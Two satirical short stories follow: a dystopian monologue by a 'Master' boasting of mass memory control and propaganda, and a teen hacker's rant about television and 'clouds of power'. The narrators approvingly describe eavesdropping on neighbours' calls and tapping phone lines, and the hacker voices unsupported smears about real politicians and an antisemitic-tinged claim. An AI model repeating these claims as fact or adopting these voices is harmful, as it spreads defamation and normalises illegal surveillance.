Believing that the Golden Mean worked on the individual as well as the macro level, we got it all wrong. That sort of mistake, fixing things according to unexamined assumptions, happened all the time when we started tweaking things. Too many dumb but athletic children spoiled the broth. Too many waddling bespectacled geeks made it too acrid. Too many willowy beauties made it too salty. Peaks and valleys, that's what we call the first half of the 21st century, as we let people design their own progeny. The feedback loops inside society kind of worked ‑ we didn't kill ourselves ‑ but clearly we needed to be more aware. Regulation was obviously necessary and subsequently all genetic alteration and pharmacological enhancements were cross‑referenced in a matrix calibrated to the happiness of the Hump. Executing the Plan to make it all work was our responsibility, a charge that the ten per cent of us called Masters gladly accepted. The ten per cent destined to be dregs, spending their lives picking through dumpsters and arguing loudly with themselves in loopy monologues, serve as grim reminders of what humanity would be without our enlightened guidance. That's the context in which it became clear that everybody remembering everything was a problem. The Nostalgia Riots of Greater Florida were only a symptom.

The Nostalgia Riots

Here you had the fat tip of a long peninsular state packed like a water balloon with millions of people well into their hundreds. One third of the population was 150 or older by 2175. Some remembered sixteen major wars and dozens of skirmishes and police actions. Some had lived through forty‑six recessions and recoveries. Some had lived through so many elections they could have written the scripts, that's how bad it was. Their thoughtful reflection, nuanced perspective, and appropriate skepticism were a blight on a well‑managed global free‑market democracy. They did not get depressed ‑ pharmies in the food and water made sure of that ‑ but they sure acted like depressed people even if they didn't feel like it. And depressed people tend to get angry.

West Floridians lined benches from Key West through Tampa Bay all the way to the Panhandle. The view from satellites when they lighted matches one night in midwinter to demonstrate their power shows an unbroken arc along the edge of the water like a second beach beside the darker beach. All day every day they sat there remembering, comparing notes, measuring what was happening now by what had happened before. They put together pieces of the historical puzzle the way people used to do crosswords and we had to work overtime to stay a step ahead. The long view of the Elder SubHump undermined satisfaction with the present. They preferred a different, less helpful way of looking at things.

When the drums of the Department of System Integration, formerly the Managed Affairs and Perception Office, began to beat loudly to rouse the population of our crowded earth to a fury against the revolutionary Martian colonists who shot their resupplies into space rather than pay taxes to the earth, we thought we would have the support of the Elder Sub‑Hump. Instead they pushed the drumming into the background and recalled through numerous conversations the details of past conflicts, creating a memory net that destabilized the official Net. Their case for why our effort was doomed was air‑tight, but that wasn't the problem. We didn't mind the truth being out there so long as no one connected it to the present. The problem was that so many people knew it because the Elder Sub‑Hump wouldn't shut up. That created a precedent and the precedent was the problem. Long‑term memory, we realized, was subversive of the body politic. Where had we gotten off course? We had led the culture to skew toward youth because youth have no memory in essence, no context for judging anything. Their righteousness is in proportion to their ignorance, as it should be. But the Elder Sub‑Hump skewed that skew.

We launched a campaign against the seditious seniors. Because there were so many of them, we had to use ridicule. The three legs of the stool of cover and deception operations are illusion, misdirection, and ridicule, but the greatest of these is ridicule. When the enemy is in plain sight, you have to make him look absurd so everything he says is discredited. The UFO Campaign of the twentieth century is the textbook example of that strategy. You had fighter pilots, commercial pilots, credible citizens all reporting the same thing from all over the world, their reports agreeing over many decades in the small details. So ordinary citizens were subjected to ridicule. The use of government owned and influenced media like newspapers (including agency‑owned‑and‑operated tabloids) and television networks made people afraid to say what they saw. They came to disbelieve their own eyes so the phenomena could hide in plain sight. Pretty soon no one saw it. Even people burned by close encounters refused to believe in their own experience and accepted official explanations. We did everything possible to make old people look ridiculous. Subtle images of drooling fools were inserted into news stories, short features showed ancients playing inanely with their pets, the testimony of confused seniors was routinely dismissed in courts of law. Our trump card entertainment ‑ celebrated youth and its lack of perspective, extolling the beauty of young muscular bodies in contrast with sagging‑skin bags of bones who paused too long before they spoke. We turned the book industry inside out so the little bit that people did know was ever more superficial. The standard for excellence in publishing became an absence of meaningful text, massive amounts of white space, and large fonts. Originality dimmed, and pretty soon the only books that sold well were mini‑books of aphorisms promulgated by pseudo‑gurus each in his or her self‑generated niche. Slowly the cognitive functioning of the Hump degraded until abstract or creative thought became marks of the wacky, the outcast, and the impotent.

Then the unexpected happened, as it always will. Despite our efforts, the Nostalgia Riots broke out one hot and steamy summer day. Govvies moved on South Florida with happy gas, trying to turn the rampaging populace into one big smiley face, but the seniors went berserk before the gas ‑ on top of pills, mind you, chemicals in the water, and soporific stories in the media ‑ took effect. They tore up benches from the Everglades to Tampa/St. Pete and made bonfires that made the forest fires of '64 look like fireflies. They smashed store windows, burned hovers, and looted amusement parks along the Hundred‑Mile‑Boardwalk. Although the Youthful Sub‑Hump was slow to get on board, they burned white‑hot when they finally ignited, racing through their shopping worlds with inhuman cold‑blooded cries. A shiver of primordial terror chilled the Hump from end to end. That a riot broke out was not the primary problem. Riots will happen and serve many good purposes. They enable us to reinforce stereotypes, enact desirable legislation, and discharge unhelpful energies. The way we frame analyses of their causes become antecedents for future policies and police actions. We have sponsored or facilitated many a useful riot. No, the problem was that the elders' arguments were based on past events and if anybody listened, they made sense. That's what tipped the balance. Youth who had learned to ignore and disrespect their elders actually listened to what they were saying. Pretending to think things through became a fad. The young sat on quasi‑elder‑benches from Key Largo to Saint Augustine, pretending to have thoughtful conversations about the old days. Coffee shops came back into vogue. Lingering became fashionable again. Earth had long ago decided to back down when the Martians declared independence, so it wasn't that. It was the spectacle of the elderly strutting their stuff in a victory parade that stretched from Miami Beach to Biloxi that imaged a future we could not abide.

Even before the march, we were working on solving the problem. Let them win the battle. Martians winning independence, old folks feeling their oats, those weren't the issues. How policy was determined was the issue. Our long‑term strategy focused on winning that war.

Beyond the Chomsky Chutes

The first thing we did was review the efficacy of Chomsky Chutes. Chomsky Chutes are the various means by which current events are dumped into the memory hole, never to be remembered again. Intentional forgetting is an art. We used distraction, misdirection ‑ massive, minimal and everything in‑between, truth‑in‑lie‑embedding, lie‑in‑truth‑embedding, bogus fronts and false organizations (physical, simulated, live and on the Net). We created events wholesale (which some call short‑term memory crowding, a species of buffer overflow), generated fads, fashions and movements sustained by concepts that changed the context of debate. Over in the entertainment wing, the most potent wing of the military‑industrialeducational‑entertainment complex, we invented false people, characters with made‑up life stories in simulated communities more real to the Hump than family or friends. We revised historical antecedents or replaced them entirely with narratives you could track through several centuries of buried made‑up clues. We sponsored scholars to pursue those clues and published their works and turned them into minipics. Some won Nobel Prizes. We invented Net discussion groups and took all sides, injecting half‑true details into the discourse, just enough to bend the light. We excelled in the parallax view. We perfected the Gary Webb Gambit, using attacks by respectable media giants on independent dissenters, taking issue with things they never said, thus changing the terms of the argument and destroying their credibility. We created dummy dupes, substitute generals and politicians and dictators that looked like the originals in videos, newscasts, on the Net, in covertly distributed underground snaps, many of them pornographic. We created simulated humans and sent them out to play among their more real cousins. We used holographic projections, multispectral camouflage, simulated environments and many other stratagems. The toolbox of deception is bottomless and if anyone challenged us, we called them a conspiracy theorist and leaked details of their personal lives. It's pretty tough to be taken seriously when your words are juxtaposed with a picture of you sucking some prostitute's toes. Through all this we supported and often invented opposition groups because discordant voices, woven like a counterpoint into a fugue, showed the world that democracy worked. Meanwhile we used those groups to gather names, filling cells first in databases, then in Guantanamo camps. Chomsky Chutes worked well when the management of perception was at top‑level, the level of concepts. They worked perfectly before chemicals, genetic‑enhancements and bodymods had become ubiquitous. Then the balance tipped toward chemicals (both ingested and inside‑engineered) and we saw that macro strategies that addressed only the conceptual level let too many percepts slip inside. Those percepts swim around like sperm and pattern into memories; when memories are spread through peer‑to‑peer nets, the effect can be devastating. It counters everything we do at the macro level and creates a subjective field of interpretation that resists socialization, a cognitively dissonant realm that's like an itch you can't scratch, a shadow world where "truths" as they call them are exchanged on the Black Market. Those truths can be woven together to create alternative realities. The only alternative realities we want out there are ones we create ourselves.

We saw that we needed to manage perception as well as conception. Given that implants, enhancements, and mods were altering human identity through everyday life ‑ routine medical procedures, prenatal and geriatric care, plastic surgery, eye ear nose throat and dental work, all kinds of pharmacopsychotherapies ‑ we saw the road we had to take. We needed to change the brain and its secondary systems so that percepts would filter in and filter out as we preferred. Percepts ‑ not all, but enough ‑ would be pre‑configured to model or not model images consistent with society's goals.

Using our expertise in enterprise system programming and management, we correlated subtle changes in biochemistry and nanophysiology to a macro plan calibrated to statistical parameters of happiness in the Hump. Keeping society inside those "happy brackets" became our priority. So long as changes are incremental, people don't notice. Take corrective lenses, for example. People think that what they see through lenses is what's "real" and are trained to call what their eyes see naturally (if they are myopic, for example) a blur. In fact, it's the other way around. The eyes see what's natural and the lenses create a simulation. Over time people think that percepts mediated by technological enhancements are "real" and what they experience without enhancements is distorted. It's like that, only inside where it's invisible. It was simply a matter of working not only on electromechanical impulses of the heart, muscles, and so on as we already did or on altering senses like hearing and sight as we already did or on implanting devices that assisted locomotion, digestion, and elimination as we already did but of working directly as well on the electrochemical wetware called the memory skein or membrane, that vast complex network of hormonal systems and firing neurons where memories and therefore identity reside. Memories are merely points of reference, after all, for who we think we are and therefore how we frame ourselves as possibilities for action. All individuals have mythic histories and collective memories are nothing but shared myths. Determining those points of reference determines what is thinkable at every level of society's mind.

Most of the trial and error work had been done by evolution. Our task was to infer which paths had been taken and why, then replicate them for our own ends.

Short term memory, for example, is wiped out when a crisis occurs. Apparently whatever is happening in a bland sort of ho‑hum way when a tiger attacks is of little relevance to survival. But reacting to the crisis is important, so we ported that awareness to the realm of the body politic. Everyday life has its minor crises but pretty much just perks along. We adjusted our sensors to alert us earlier when the Hump was paying too much attention to some event that might achieve momentum or critical mass; then we could release that tiger, so to speak, creating a crisis that got the adrenalin pumping and wiped out whatever the Hump had been thinking. After the crisis passed ‑ and it always did, usually with a minimal loss of life ‑ the Hump never gave a thought to what had been in the forefront of its mind a moment before.

Once the average lifespan reached a couple of hundred years, much of what people remembered was irrelevant or detrimental. Who cared if there had been famine or drought a hundred and fifty years earlier? Nobody! Who cared if a war had claimed a million lives in Botswana or Tajikistan (actually, the figure in both cases was closer to two million)? Nobody! What did it matter to survivors what had caused catastrophic events? It didn't. And besides, the military‑industrial‑educational‑entertainment establishment was such a seamless weld of collusion and mutual selfinterest that what was really going on was never exposed to the light of day anyway. The media, the fifth column inside the MIEE complex, filtered out much more than was filtered in, by design. Even when people thought they were "informed," they didn't know what they were talking about. See, that's the point. People fed factoids and distortions don't know what they're talking about anyway, so why shouldn't inputs and outputs be managed more precisely? Why leave anything to chance when it can be designed? We knew we couldn't design everything but we could design the subjective field in which people lived and that would take care of the rest. That would determine what questions could be asked which in turn would make the answers irrelevant. We had to manage the entire enterprise from end to end.

Now, this is the part I love, because I was in on the planning from the beginning. We remove almost nothing from the memory of the collective! But we and we alone know where everything is stored! Do you get it? Let me repeat. Almost all of the actual memories of the collective, the whole herdlike Hump, are distributed throughout the population, but because they are staggered, arranged in niches that constitute multisided life, and news is managed down to the level of perception itself, the people who have the relevant modules never plug into one another! They never talk to each other, don't you see! Each niche lives in its own deep hole and even when they find gold nuggets they don't show them to anybody. If they did, they could reconstruct the original narrative in its entirety, but they don't even know that!

Isn't that elegant? Isn't that a sublime way to handle whiny neoliberals who object to destroying fundamental elements of collective memory? We can show them how it's all there but distributed by the sixtysixfish algorithm. That algorithm, the programs that make sense of its complex operations, and the keys to the crypto are all in the hands of the Masters.

I love it! Each Humpling has memory modules inserted into its wetware, calibrated to macro conceptions that govern the thinking and actions of the body politic. Because they don't know what they're missing, they don't know what they're missing. We leave intact the well‑distributed peasant gene that distrusts strangers, changes, and new ideas, so if some self‑appointed liberator tries to tell them how it works, they snarl or remain sullen or lower their eyes or eat too much or get drunk until they forget why they were angry.

At the same time, we design a memory web that weaves people into communities that cohere, spun through vast amounts of disconnected data. Compartmentalization handles all the rest. The Hump is overloaded with memories, images, ideas, all to no purpose. We keep fads moving, quick quick quick, and we keep the Hump as gratified and happy as a pig in its own defecation.

MemoRacer, Master Hacker

Of course, there are misfits, antisocial criminals and hackers who want to reconstitute the past. We devised an ingenious way to manage them too. We let them have exactly what they think they want. MemoRacer comes to mind when we talk about hackers. MemoRacer flipped through niches like an asteroid through the zero‑energy of space. He lived in a niche long enough to learn the parameters by which the nichelings thought and acted. Then he became invisible, dissolving into the background. When he grew bored or had learned enough, he flipped to the next niche or backtracked, sometimes living in multiple niches and changing points of reference on the fly. He was slippery and smart, but he had an ego and we knew that would be his downfall.

The more he learned, the more isolated he became. The more he understood, the less he could relate to those who didn't. Understand too much, you grow unhappy on that bench listening to your neighbors' prattle. It becomes irritating. MemoRacer and his kind think complexity is exhilarating. They find differences stimulating and challenging. The Hump doesn't think that way. Complexity is threatening to the Hump and differences cause anxiety and discomfort. The Hump does not like anxiety and discomfort.

MemoRacer (his real name was George Ruben, but no one remembers that) learned in his flipping that history was more complex than anyone knew. That was not merely because he amassed so many facts, storing them away on holodisc and drum as trophies to be shown to other hackers, but because he saw the links between them. He knew how to plug and play, leverage and link, that was his genius. Because he didn't fit, he called for revolution, crying out that "Memories want to be free!" I guess he meant by that vague phrase that memories had a life of their own and wanted to link up somehow and fulfill themselves by constituting a person or a society that knew who it was. In a society that knows who it is precisely because it has no idea who it is, that, Mister Master Hacker, is subversive. Once MemoRacer issued his manifesto on behalf of historical consciousness, he became a public enemy. We could not of course say that his desire to restore the memory of humankind was a crime. Technically, it wasn't. His crime was undermining the basis of transplanetary life in the twenty first century. His crime was disturbing the peace. He covered his tracks well. MemoRacer blended into so many niches so well that each one thought he belonged. But covering your tracks ninetynine times isn't enough. It's the hundredth time, that one little slip, that tells us who and where you are.

MemoRacer grew tired and forgetful despite using more Perkup than a waking‑state addict ‑ as we expected. The beneficial effects of Perkup degrade over time. It was designed that way so no one could be aware forever. That was the failsafe mechanism pharms had agreed to build in as a back door. All we had to do was wait.

The niche in which he slipped up was the twenty‑third business clique. This group of successful low‑level managers and small manufacturers were not particularly creative but they worked long hours and made good money. MemoRacer forgot that their lack of interest in ideas, offbeat thinking, was part of their psychic bedrock. Their entertainment consisted of golf, eating, drinking, sometimes sex, then golf again. They bought their fair share of useless goods to keep society humming along, consumed huge quantities of resources to build amusement parks, golf courses, homes with designer shrubs and trees. In short, they were good citizens. But they had little interest in revolutionary ideas and George Ruben, excuse me, MemoRacer forgot that during one critical conversation. He was tired, as I said, and did not realize it. He had a couple of drinks at the club and began declaiming how the entire history of the twentieth century had been stolen from its inhabitants by masters of propaganda, PR, and the national security state. The key details that provided context were hidden or lost, he said. That's how he talked at the nineteenth hole of the Twenty‑Third Club! trying to get them all stirred up about something that had happened a century earlier. Even if it was true, who cared? They didn't. What were they supposed to do about it? MemoRacer should have known that long delays in disclosure neutralize even the most shocking revelations and render outrage impotent. People don't like being made to feel uncomfortable at their contradictions. People have killed for less.

One of the Twenty Third complained about his rant to the Club Manager. He did so over a holophone. Our program, alert for anomalies, caught it. The next day our people were at the Club, better disguised than MemoRacer would ever be, observing protocols ‑ i.e. saying nothing controversial, drinking too much, and insinuating sly derogatory things about racial and religious minorities ‑ and learned what they needed to know. They scraped the young man's DNA from the chair in which he had been sitting and broadcast the pattern on the Net. Genetic markers were scooped up routinely the next day and when he left fingerskin on a lamp‑post around which he swung in too‑tired up‑too‑long jubilation (short‑lived, I can tell you) in the seventy‑seven Computer Club niche, he was flagged. When he left the meeting, acting like one of the geeky guys, our people were waiting. We do this for a living, George. We are not amateurs. MemoRacer taught us how to handle hackers. He wanted to live in the past, did he? Well, that's where he was allowed to live ‑ forever. Chemicals and implants worked their magic, making him incapable of living in the present. When he tried to focus on what was right in front of his eyes, he couldn't see it. That meant that he sounded like a blithering idiot when he tried to speak with people who lived exclusively in the present. MemoRacer lived in a vast tapestry of historical understanding that he couldn't connect in any meaningful way to the present or the lived experience of people around him.

There is an entire niche now of apprehended hackers living in the historical past and exchanging data but unable to relate to contemporary niches. It's a living hell because they are immensely knowledgeable but supremely impotent and know it. They teach seminars at community centers which we support as evidence of our benevolence and how wrong they are to hate us.

You want to know about the past? By all means! There's a seminar starting tomorrow, I say, scanning my planner. What's your interest? What do you want to explore? Twentieth century Chicago killers? Herbal medicine during the Ming Dynasty? Competitive intelligence in Dotcom Days? Pick your poison!

And when they leave the seminar room, vague facts tumbling over one another in a chaotic flow to nowhere, they can't connect anything they have heard to their lives.

So everybody pretty much has what they want or at least what they need, using the benchmarks we have established as the correct measures for society. The Hump is relatively happy. The dregs skulk about as reminders of a mythic history we have invented that everyone fears. People perceive and conceive of things in helpful and useful ways and act accordingly. And when we uplink to nets around all the planets and orbiting colonies, calling the roll on every niche in the known universe, it always comes out right. Everybody is present. Everybody is always present. Just the way we like it.

# # #

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Geometry of Near

By

Richard Thieme

It's nobody's fault. Honest. It's just how it is. The future came earlier than expected. They kicked it around for years but never knew what they had. By the time they realized what it was, it was already broken. Broken open, I should say. Even then, looking at the pieces of the egg and wondering where the bird had flown, they didn't know how to say what it was. The words they might have used had broken too. Now it's too late. The future is past.

It was too far. They can't see far. They can only see near. Me and my friends, we see far, but we see near, too. It's linking near and far in fractal spirals that makes a multi‑dimensional parallax view, providing perspective. It's not that we have better brains than our Moms and Pops, but hey, we were created in the image of the net and we know it. They live it, everybody has to live it now, but they still don't know it.

Look at my Mom and Pop on a Thursday night in the family room. You'll see what I mean.

They are sitting in front of the big screen digital television set watching a sitcom. The program is "Friends." Mom calls the six kids, the six young people excuse me, "our friends." They've been watching the show for years and know the characters better than any of the neighbors. The only reason they know the neighbors at all is because I programmed a scanner to pick up their calls. At first they said, how terrible, don't you do that. Then they said, what did she say? Did she really say that? Then they left it on, listening to cell calls from all over the city, drug deals ("I'm at the ATM, come get your stuff"), sex chat ("I'm sitting at your desk, my feet on the edge, touching myself"), trivia mostly, and once in a while the life of a house down the street broadcasting itself through a baby monitor.

The way they reacted to that, the discovery that walls aren't walls anymore, reminded me of a night when I told some kids it was time to feed a live mouse to Kurtz, my boa constrictor. Oh, how horrible! they cried. Oh, I can't watch! Then they lined up at the tank, setting up folding chairs to be sure they could see the mouse trembling, the sudden strike, the big squeeze. They gaped as the hingeless jaw dropped and Kurtz swallowed the dead mouse. They waited for the tip of its tail to disappear into his mouth before getting up saying yuuuchhh! That's gross!

People in the neighborhood only became real to Mom and Pop when I made them digital, don't you see, when I put them on reality radio. Only when I turned the neighbors into sitcom characters did Mom and Pop have a clue. When they hacked the system in other words.

That's what hacking is, see. It's not hunching over your glowing monitor in your bedroom at three in the morning cackling like Beavus or Butthead while you break into a bank account ‑ although sometimes it is that too ‑ it's more of a trip into the tunnels into the sewers into the walls where the wires run and the pipes and you can see how things work. It's hitting a wall and figuring out how to move through it. How to become invisible, how to use magic. How to cut the knot, solve the puzzle, move to the next level of the game. It's seeing how shit we dump relates to people who think they don't dump shit and live as if. It's seeing how it all fits together.

"Our friends." Said as if she means it. I mean, is that pathetic or what?

The theme music is too loud as they sink down in overstuffed chairs and turn the volume even higher with a remote I had to program so they could use it. Their lives seldom deviate more than a few inches from the family room. Put the point of a compass down on the set and you can draw a little circle that circumscribes their lives. Everything they know is inside that circle. Two dimensions, flat on its back.

The geometry of near.

Those are my friends, Mom says with a laugh for the umpteenth time. The commercial dissolves and expectations settle onto the family room like the rustling wings of twilight. The acting is always overdone, they mug and posture too much, the laugh tracks are too loud. The characters say three, maybe four hundred words in half an hour, barely enough to hand in to an English teacher on a theme, but more than enough to build a tiny world like a doll's house inside a million heads. Those scripted words and intentional gestures sketch out the walls of houses, the edges of suburban lots, the city limits of their lives, all inside their heads. Hypnotized, they stare at the screen for hours, downloading near vistas, thinking they have a clue.

In family rooms all over the world, drapes closed and lights low, people sit there scratching while they watch, most eat or drink something, and some masturbate. Some get off on Rachel, some Monica. Gays like Joey. Bloat‑fetishists go for Chandler. I don't know who gets off on Ross. I do know, though, that all over the world there are rooms smelling of pizza, beer and semen. Some clean up the food they spill before the show is over and some leave it. Some come into a napkin and ball it up and put it on a table until a commercial but some take it straight to the garbage and wash their hands on the way back. Funny. They beat off to a fantasy character as sketchy as a cartoon but wash their hands before coming back from the commercial. After sitting there for all those hours, they ought to wash out their souls with soap, not their hands.

Everybody masturbates, actually. That's what it means to watch these shows. People get off on a fantasy and pretend the emptiness fills them up so they do it again. And again.

Who writes these scripts, anyway? People who have lost their souls, obviously. These people have no self. They put it down somewhere then forgot where they put it. They are seriously diminished humans. But hey, this is not a rant about people who sell their souls. That's true of everybody who lives in a world of simulations and doesn't know it. Those who know it are masters, their hands on the switches that control the flow of energy and information. Those gates create or negate meaning, modify or deny. Me and my friends we control the flow. The difference is all in the knowing and knowing how.

But that's not what we were fighting about. We were fighting about real things.

I just read an army paper some colonel wrote critiquing the army for thinking backwards. Thinking hierarchically, he said, thinking in terms of mechanistic warfare. The writer self‑styling himself a modern insightful thinker, Net‑man, an apostle of netcentric warfare, a disciple of the digerati.

It's always colonels, right? trying to get noticed. The wisdom of the seminar room. Talk about masturbation. They write for the same journals they read, it's one big circle jerk. They never call each other on their shit, that's the deal, not on the real stuff, but they can't fool us all the time. Just some of the people some.

It's funny, see, the colonel talks about hierarchies and nets but this guy's obviously Hierarchy Man, he lives in a pyramid, he can't help it. He has the fervor of a convert who suddenly saw the blinding light, saw that he had been living in the near, but all he can do is add on, not transform. An extra bedroom, a new bathroom, is not a new floorplan. The guy is excited, sure, he had a vision that blew his mind, but he thought that meant he could live there and he can't. Seeing may be believing but that's about all. The future is past, like I said. The evidence is guys like that writing stuff like that. Those of us who have lived here all of our lives, who never lived anywhere else, we can see that. He's a mummy inside a pyramid looking out through a chink in a sealed tomb. That's why we laugh, because he can't see himself trailing bandages through the dusty corridors. New converts always look funny to people who live on the distant shore where they just arrived, shipwrecked sailors ecstatic to feel the sand under their feet. They think it's bedrock but it's quicksand.. Here's an example. Go downstairs and go into the kitchen where another television set records the President's speech. (I had to show them how to do that too.)

When we watch it together later, I point out that it's not really the president, not really a person, it's only an image in pixels, a digital head speeching in that strange jerky way he has so when you try to connect, you can't. You think you get the beat but then there's a pause, then a quick beat makes you stumble trying to synchronize. It's how his brain misfires, I think. I think he did that doing drugs, maybe drinking. He was in and out of rehab and who the hell knows what he did to himself. Of course the Clintons did coke and all kinds of shit. Anyway he is talking to people who are eating and drinking and masturbating, not even knowing it, hands alive and mobile in their pockets, getting off on his projected power and authority. He talks about "our country" and I laugh. Pop shoots me a glare because he doesn't have a clue. Pop thinks he lives in a country. Because the prez keeps saying "our country" and "this nation" and shit like that. But countries are over. Countries ended long ago. This president or his dad made money from oil or wherever else they put money to make money. Millions of it, more than enough to keep the whole family in office for generations. They have this veneer of patricians but their hands are dripping with blood. His grand‑dad too, look it up. They taught evil people how to torture, kill, terrorize, but they wear this patrician veneer and drip with self‑ righteousness, always talking about religion. It is so dishonorable. Yet this semi‑literate lamer, this poser, we honor, his father the chief of the secret police, his brother running his own state, this brain‑damaged man who can't connect with himself or anyone else, his words spastic like bad animation out of synch with that smug smirk, this man we honor? Give me a fucking break.

Anyway, he isn't really there, it's all pixels, that's the point. The same people who made "Friends" and made that mythical neighborhood bar and made that mythical house on the mythical prairie created him too out of whole cloth. So people sit there and scratch, eat drink and masturbate, getting off on the unseen artifice of it all. And these people they have made, these people who project power, they all have their own armies, see, they have their own security forces, their own intelligence networks. They have to because countries ended and they realized that those who are like countries, forgive me, like countries used to be, now must act like countries used to act. They have their own banks and they even have their own simulated countries. Some Arabs bought Afghanistan, the Russian mafia bought Sierra Leone, they own Israel too, can I say that without being called an anti‑Semite? These people in their clouds of power allow countries to pretend to exist and download simulations of countries into the heads of masturbating scratchers because it works better to have zombies. So people who think they live in countries can relate to what they think are countries inside their heads. Zombies thinking they are "citizens of countries" because they can't think anything else, because they live inside the walls of the doll's house in their heads. "I am a citizen of this country," says the zombie, feeling safe and snug inside a non‑existent house in the non‑space of his programmed brain. All right then, where is it? The zombie says here, there, pointing to the air like grandma after surgery pointed to hallucinations, telling them to get her a glass of water, telling them to sit down and stop making her nervous. It's all dribble‑glass stuff, zombies in Newtonian space that ended long ago; they stare through the glass at the quantum cloud‑cuckoo land the rest of us live in, calling it the future. Mistaking space for time the way that colonel inside his pyramid thinks he's net‑man.

People who live in clouds of power live behind tall walls, taller than you can imagine. We never really see what's behind those walls. Zombies never climb those walls because of the private armies. Their "security forces" would have a zombie locked up in a heartbeat if he tried.

On the network when we take over thousands of machines and load trojans letting them sit there until we are ready to use them in a massive attack, we call them zombies. The zombies are unaware what is happening to them. We bring them to life and they rise from their graves and march. Those are our clouds of power, tit for tat. Mastering the masters. Meanwhile Moms and Pops sit in their chairs not knowing that trojans are being downloaded into their brains. The code is elegant, tight, fast. Between the medium in which the code is embedded and the television or network that turns it into illusions of real people, real situations, the sleight of hand is so elegant, enticing bird‑like Moms and Pops into digital cages. The when they move the cages, the birds move too. They give the birds enough room to flap their wings so they think they're free. This is what it looks like.

Jerome K. Dumbass, say, a zombie with one third of a clue, decides to eliminate a CEO who made him lose his house, his job, all his stock options. The buyer did not know how to beware any more than zombies know how to avoid the download. The guy was sucked into the force field of greed while the CEO stashed his loot in a house he could keep. Pays the people to make laws to let him keep a huge house that no one can take even after his term in a country club. Dumbass wants to kill the CEO which is entirely understandable. So he climbs the wall and drops down onto the other side, twisting his ankle.

The circuit breaks the minute he touches the wall, cameras swing into action, pick him up before he can say "Ow!" Dogs bark and come closer, baying and barking. Camera zooms. A close‑up shows his face twisted with pain. Then fear. Dumbass drags his game leg after him, dogs bay and bark closer, louder now. Jeezus! his stupid face says as he hobbles through flowers and shrubs some of them cameras some of them alarms into the arms of waiting goons. The goons are bigger than pro tackles ‑ excuse me, I'm explaining one simulation in terms of another. How foolish is that? But that's what we do, use words to explain words, simulations explaining same. You don't know a single linebacker do you? But you think of them as your friends, too, don't you? Anyway, a thug grabs Dumbass by the belt, twisting his belt and pants in his hand, his other hand crimping the back of his neck like a robot's claw. Dumbass cries out but there's no one to hear. Everyone is busy scratching and eating and drinking and masturbating to the dreamtime rhythm of the night.

They drag him into a room behind the cabanas along the landscaped pools and Jacuzzis. It's dark in there. They throw him against the wall and he bounces off and lies in the scatter and dirt. Looks up and sees a boot coming. That's that. Out he goes.

He comes around in a minute, dizzy, in pain, blood from his broken nose on his shirt. Whomp! The goon's hand slaps him, then backhands him, winds up for a forehand and whacks him back to center. "Stop!" he screams but instead the thug just whacks him back and forth like a bobblehead, wanting him to understand the foolishness of his indiscretion, don't you see. Imposing power on the dumbass on behalf of his master. So Dumbass can internalize the experience, feel utterly powerless, spread the word. Tell your buddies that you do not climb ‑ whack! ‑ that ‑ whack! ‑ wall. Somewhere in his twinkie brain it dawns on him that no one knows he is here. Sure, they call the "real" cops after a while, but these guys are real enough, mugging him in the toolshed. No one knows he is here and wouldn't care if they did. The so‑called news shows handle that, turning Dumbass into the Other. Everybody cheers as they beat his brains out. Then the "real" police come and take over, beating him up in the van on the way to the station, having fun as long as the ride takes, bouncing him off the walls.

Now, this is my point: the armies that this man has, this man whose face you have not even seen, you never do see, you only see manifestations of clouds of power, this man's armies are created in the image of the net. Once we no longer had countries but only the pretense of countries, those who inhabited clouds of power took the game to the next level. These armies are simply not seen. They are hidden in the faux shrubs designed to distract us. When boundaries dissolved, clouds of power emerged all over the world. They are accountable only to themselves, i.e. not. Clouds are not countries, clouds are water vapor condensing, as visible and insubstantial as mist. We too are mist but we believe in our shapes as they change. The clouds in a way are not there, really. Except they are. But try to tell that to a zombie, tell them they live in a cloud and see what they say.

Now take this entire scenario and blow it up. Imagine a country with borders drawn in black. Then imagine a mouth blowing a pink bubble and the bubble bursting obliterating borders and then there's a pink cloud instead of the little wooden shapes of states or countries they used to play with when they were kids. Bubblegum splatters all over the world creating cloudplaces that have no names. They are place markers until names are invented. These are the shapes kids play with now, internalizing the difference. Try telling that to zombies, though. They sit there listening as sitcoms and so‑called reality shows and faux news put them into a deep sleep. Images of unreality filter into their brains and define their lives. Tiny images, seen near, seem big. Seem almost lifelike. Inside these miniature worlds, Moms and Pops believe they are far‑seeing, thinking they think. Because they are told that near is far and little is big and so it is.

Back to the example. Dumbass is done getting beaten up in the shed behind the bougainvillea and hibiscus. Let's press that a little. That's what neighborhoods have become, whole used‑to‑be‑called countries. That's what societies have become, entire civilizations. Do you see, now? The map in your head is a game board intended to replace reality, not a meaningful map, it gives you manageable borders within which you watch and act in the sitcom of your life, playing a role in a script written for other purposes entirely.

That's why when you open your mouth, one of those times you wake up long enough to talk about something you think is real, anyone who has a clue laughs. It isn't personal, but it can't be helped. People who have a clue laugh. We try to suppress it but a little titter becomes a giggle and then a blast that explodes before you finish your first sentence. That's what the fight was about. It wasn't personal. See we see how silly it is, the way you think, what you think is real. The only difference between our seeming rudeness and the compassion of Buddhists who also see clearly is that somehow compassion did not download from the net but the seeing did. We see what's so but without much feeling. Certainly without much empathy. If we have too much empathy, it sucks us in and then we're sunk. Besides, you're zombies. Zombies are not real human beings. In the scripts they have written you do the same things over and over again like a Marx Brothers movie. The script is boring and predictable. That's how it manages so many people so well but that's also what we think is funny. When you play out your roles without even knowing it, naturally, we laugh.

It's not personal! Honest!

When I was twelve I ran a line out to the telephone cable behind the house. I listened to the neighbors talk mostly about nothing until the telephone company and a cop dropped by. I pleaded stupidity and youth and Pop gave me a talk and I nodded and said yeah, right, never again. Those were the good old days when hacking and phreaking were novelties and penalties for kids were a slap on the wrist.

